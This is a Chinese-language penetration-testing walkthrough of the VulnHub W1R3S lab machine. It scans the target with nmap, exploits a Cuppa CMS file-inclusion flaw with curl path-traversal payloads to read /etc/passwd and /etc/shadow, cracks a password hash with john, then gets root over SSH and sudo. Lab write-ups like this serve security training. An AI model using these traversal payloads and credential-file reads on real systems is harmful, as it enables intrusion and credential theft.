W1R3S-1项目实战
前言
您受聘在W1R3S.inc单个服务器上进行渗透测试,并报告所有发现。他们要求您获得root访问权限并找到标志(位于/root目录中)。
难以获得低特权外壳:初级/中级
获得特权升级的难度:初级/中级
关于:这是一个易受攻击的Ubuntu盒子,给了你一些真实世界的场景,让我想起了OSCP实验室。
如果你需要任何提示、建议或有问题,请随时给我发电子邮件:在gmaildot.com上查看电线。
靶场环境
kali 192.168.31.153
w1r3s-1 192.168.31.42
靶机环境地址:https://www.vulnhub.com/entry/w1r3s-101,220/
渗透实战
信息收集
nmap扫描网段探测存活主机
nmap 192.168.31.0/24

发现了192.168.31.42,访问http://192.168.31.42,是一个普通的apache界面

使用nmap或者Zenmap扫描ip全端口信息,版本信息,操作系统信息
nmap 192.168.31.42 -sV -O -p- -A
-sV 扫描版本信息
-O 扫描操作系统
-p- 扫描全端口
-A 扫描详细信息

发现有ftp的21端口,并且允许匿名用户登录anonymous,展示了ftp下的三个文件
接着就是ssh的22端口,80端口和mysql的3306端口,并且3306端口并不是管理员端口
操作系统是ubuntu linux 3.x或者4.x版本
接着使用目录扫描器dirsearch简单枚举web页面

发现了/administrator/index.php,/wordpress/wp-login.php这俩目录
还有一点就是,扫描出的结果不能仅仅关注状态码为200的结果,可以看看301 302有些是可以跳转到其他地址的,访问http://192.168.31.42/administrator/index.php会跳转到http://192.168.31.42/administrator/installation/一个安装界面

使用whatweb扫描网站信息
whatweb http://192.168.31.42/administrator/installation/

发现网站是Apache2.4.18,Cuppa CMS 搭建的
到此就简单收集了端口信息和枚举了web页面
根据端口信息得到ftp的21端口可以匿名登录,我们使用ftp 192.168.31.42登录
ftp 192.168.31.42
anonymous //回车后需要输入密码,我们直接再回车一次匿名登录
ls
get content
登录成功但是无法提取文件,只能从web界面入手

渗透入侵
已知是Cuppa CMS搭建的系统,直接在https://www.exploit-db.com查找Cuppa此内容管理系统的历史漏洞,发现了有一个 本地/远程文件包含漏洞

看到左上角的EDB-ID:25971 是一家归档了的编号,可以拿到编号去kali使用searchsploit查找归档的信息或者脚本

查看poc提示,需要去包含一个文件,这里我直接访问/etc/passwd
http://192.168.31.42/administrator/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd


发现并没有显示信息,可能是需要post访问
使用curl工具以post方式获取信息
curl --data-urlencode urlConfig=../../../../../../../../../etc/passwd http://192.168.31.42/administrator/alerts/alertConfigField.php


发现了w1r3s的用户和root有/bin/bash权限
现在已知用户,要去查找密码,我们继续获取/etc/shadow文件的密码信息
curl -s --data-urlencode urlConfig=../../../../../../../../../etc/shadow http://192.168.31.42/administrator/alerts/alertConfigField.php

发现有www-data和w1r3s的加密过的密码,因为只有w1r3s用户有权限,所以主要拿w1r3s的密码来爆破,这里使用kali自带的john工具爆破解密,先将用户和加密的密码复制到一个文本,再爆破
vim pass.txt
john --show pass.txt


得到密码是computer,前面已知有一个22端口,尝试登陆
ssh w1r3s@192.168.31.42
computer

提权
使用sudo su,输入密码直接登录

总结
信息收集:1.利用nmap扫描端口信息,2.dirsearch枚举web页面,3.whatweb探测网站信息
渗透webshell:1.cms漏洞获取敏感信息,2.john爆破获取w1r3s的密码,3.远程登录ssh获取webshell
提权:sudo提权

W1R3S-1项目实战的更多相关文章
- Asp.Net Core 项目实战之权限管理系统(4) 依赖注入、仓储、服务的多项目分层实现
0 Asp.Net Core 项目实战之权限管理系统(0) 无中生有 1 Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端 2 Asp.Net Core 项目实战之 ...
- 给缺少Python项目实战经验的人
我们在学习过程中最容易犯的一个错误就是:看的多动手的少,特别是对于一些项目的开发学习就更少了! 没有一个完整的项目开发过程,是不会对整个开发流程以及理论知识有牢固的认知的,对于怎样将所学的理论知识应用 ...
- 【腾讯Bugly干货分享】React Native项目实战总结
本文来自于腾讯bugly开发者社区,非经作者同意,请勿转载,原文地址:http://dev.qq.com/topic/577e16a7640ad7b4682c64a7 “8小时内拼工作,8小时外拼成长 ...
- Asp.Net Core 项目实战之权限管理系统(0) 无中生有
0 Asp.Net Core 项目实战之权限管理系统(0) 无中生有 1 Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端 2 Asp.Net Core 项目实战之 ...
- Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端
0 Asp.Net Core 项目实战之权限管理系统(0) 无中生有 1 Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端 2 Asp.Net Core 项目实战之 ...
- Asp.Net Core 项目实战之权限管理系统(2) 功能及实体设计
0 Asp.Net Core 项目实战之权限管理系统(0) 无中生有 1 Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端 2 Asp.Net Core 项目实战之 ...
- Asp.Net Core 项目实战之权限管理系统(3) 通过EntityFramework Core使用PostgreSQL
0 Asp.Net Core 项目实战之权限管理系统(0) 无中生有 1 Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端 2 Asp.Net Core 项目实战之 ...
- Asp.Net Core 项目实战之权限管理系统(5) 用户登录
0 Asp.Net Core 项目实战之权限管理系统(0) 无中生有 1 Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端 2 Asp.Net Core 项目实战之 ...
- Asp.Net Core 项目实战之权限管理系统(6) 功能管理
0 Asp.Net Core 项目实战之权限管理系统(0) 无中生有 1 Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端 2 Asp.Net Core 项目实战之 ...
- Asp.Net Core 项目实战之权限管理系统(7) 组织机构、角色、用户权限
0 Asp.Net Core 项目实战之权限管理系统(0) 无中生有 1 Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端 2 Asp.Net Core 项目实战之 ...
随机推荐
- Linux文件系统故障,Input/output error
事情是这样的,在启动某一个应用程序的时候,出现 Input/output error 的报错,磁盘以及目录无法使用的情况下,进行了重启,重启完成后是可以正常使用的,过一段时间后就会再次出现这个问题,一 ...
- Exchangis搭建安装
项目简介 Exchangis是一个轻量级的.高扩展性的数据交换平台,支持对结构化及无结构化的异构数据源之间的数据传输,在应用层上具有数据权限管控.节点服务高可用和多租户资源隔离等业务特性,而在数据层上 ...
- pandas这dataframe结构
认识DataFrame结构 DataFrame 一个表格型的数据结构,既有行标签(index),又有列标签(columns),它也被称异构数据表,所谓异构,指的是表格中每列的数据类型可以不同,比如可以 ...
- Android开发_记事本(1)
一些知识 Textview TextView中有下述几个属性: id:为TextView设置一个组件id,根据id,我们可以在Java代码中通过findViewById()的方法获取到该对象,然后进行 ...
- 无法加载 DLL“xxxx.dll”: 找不到指定的模块。 (异常来自 HRESULT:0x8007007E)。
有一台服务器在执行接口的时候遇到了这样一个问题: 其他服务器上都没有这个问题,IIS部署好的项目目录的bin文件夹下是有这个dll的,但却提示无法加载,在网上找了好多帖子,终于发现了问题. 首先用De ...
- 3.2 构造器、this、包机制、访问修饰符、封装
构造器 构造器:在实例化的一个对象的时候会给对象赋予初始值,因此我们可以通过修改构造器,来改变对象的初始值,构造器是完成对象的初始化,并不是创建对象 我们也可以创建多个构造器实现不同的初始化,即构造器 ...
- 访问nginx报错502日志:failed (13: Permission denied) while connecting to upstream
1.错误问题 nginx启动成功,但是访问nginx报错502.检查后台项目,使用IP+端口可以正常访问项目的,这说明项目启动成功了.那就是nginx的问题.检查了nginx.conf文件发现配置的反 ...
- Jmeter-测试报告模板分享
1.jmeter-results-detail-report_21 <?xml version="1.0"?> <!-- ~ Licensed to the Ap ...
- git与github(结合clion操作)
对自己学习git的一个记录,由于刚开始接触git,所以没有对于git做深入解释和说明,仅供参考,如有理解不对的地方或者需要改进的地方敬请指出. 用到的git命令: git init //初始化 g ...
- 「学习笔记」2-SAT问题
SAT 是适定性 (Satisfiability) 问题的简称.一般形式为 k - 适定性问题,简称 k-SAT.而当 \(k>2\) 时该问题为 NP 完全的.所以我们只研究 \(k=2\) ...